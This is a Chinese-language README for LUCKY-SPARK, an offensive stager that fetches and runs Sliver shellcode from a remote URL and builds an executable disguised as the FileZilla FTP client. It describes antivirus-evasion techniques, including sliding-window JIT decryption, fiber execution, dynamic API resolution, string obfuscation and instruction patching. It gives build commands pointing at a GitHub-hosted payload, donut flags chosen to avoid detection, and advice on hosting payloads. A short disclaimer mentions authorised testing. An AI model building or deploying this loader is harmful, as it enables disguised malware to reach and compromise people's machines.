LUCKY-SPARK

⟪ LUCKY-SPARK ⟫ 是一个 stager，专为通过 http/https 分阶段投递的 shellcode 载荷而设计，例如 sliver 或托管在 github raw 上的载荷。它使用了现代混淆与规避方法，例如对载荷进行滑动窗口即时解密以及 CPU 指令修补。 默认情况下，它会生成一个伪装成 filezilla ftp 客户端的可执行文件。

---

功能特性

• 分阶段 Sliver 载荷加载器 从指定服务器下载并执行 Sliver 载荷。
• JIT Shellcode 解密 仅解密载荷的一个滑动窗口，以尽量减少暴露。
• 基于 Fiber 的执行 在 fiber 中运行 shellcode，以提升隐蔽性并增加分析难度。
• 动态 API 解析 可疑或易被检测的 Windows API 函数在运行时动态加载。
• 字符串混淆 敏感字符串（例如 URL、User-Agent）使用 仿射密码 加密，并以混淆形式存储在编译后的二进制文件中。
• CPU 指令修补 AES CPU 指令被隐藏在诸如 pmulqd 等不显眼的 CPU 指令之后，并在执行后修补。
• 自动伪装 EXE 会自动伪装成 FileZilla，并带有正确的清单、版本信息和图标。
• 可自定义 User-Agent 支持为网络请求指定自定义 User-Agent 字符串。

---

安装

克隆或下载该仓库，并确保系统中已安装 make 和 mingw。

git clone <repository_url>
cd LUCKY-SPARK

---

使用方法

交互式

执行二进制文件创建脚本。

./luckySpark.sh

系统会要求你输入分阶段载荷的 URL 以及可选的 User-Agent。

单行命令

可通过单行命令执行，以便集成到脚本中：

./luckySpark.sh -u https://github.com/GITHUBNAME/PAYLOADREPO/raw/refs/heads/main/PAYLOAD.bin -a "Mozilla/5.0"

载荷建议

如果你使用 donut 或 Sliver（其内部使用 donut），我推荐使用以下参数来创建载荷：

donut.exe -i examplePayload.exe -a 2 -e 1 -z 1 -b 1 -o payload.bin

这样可以避免 donut 产生可疑且已被标记的行为。尤其是 donut 的规避功能，讽刺的是，反而极易被标记。

运行加载器

这会生成一个二进制文件 filezilla.exe，执行时会获取并执行载荷。

---

分阶段投递载荷

此 stager 设计用于配合 Sliver 使用。 按照此处所述分阶段投递 Sliver 载荷 Sliver Staging 不要加密载荷。

但任何基于 http/https 的分阶段投递方法都可以使用。 例如 python3 -m http.server 或将载荷上传到 github.com 的公共仓库中。

此 stager 不 支持 meterpreter 分阶段投递协议。

---

滑动窗口 JITD

Step 1: RIP hits Page 0 and Page 0 gets decrypted 
  Pages:           [  D  |  E  |  E  | ... ]
  RIP ->              ^

Step 2: RIP hits Page 1 and Page 1 gets decrypted 
  Pages:           [  D  |  D  |  E  | ... ]
  RIP ->                    ^

Step 3: RIP hits Page 2 and Page 2 gets decrypted. Page 0 gets encrypted
  Pages:           [  E  |  D  |  D  | ... ]
  RIP ->                          ^

工作原理：

1. 当 RIP 命中受保护页面时，VEH 处理程序会解密该页面。
2. 3 页窗口中最旧的页面会被重新加密。
3. 只有最后两页处于解密状态，其余页面保持受保护。
4. 这个“滑动窗口”会随着代码执行而跟随 RIP 移动。

---

---

安全与免责声明

LUCKY-SPARK 仅用于 教育、研究以及经授权的渗透测试。未经许可对系统进行未授权使用是违法且不道德的。

---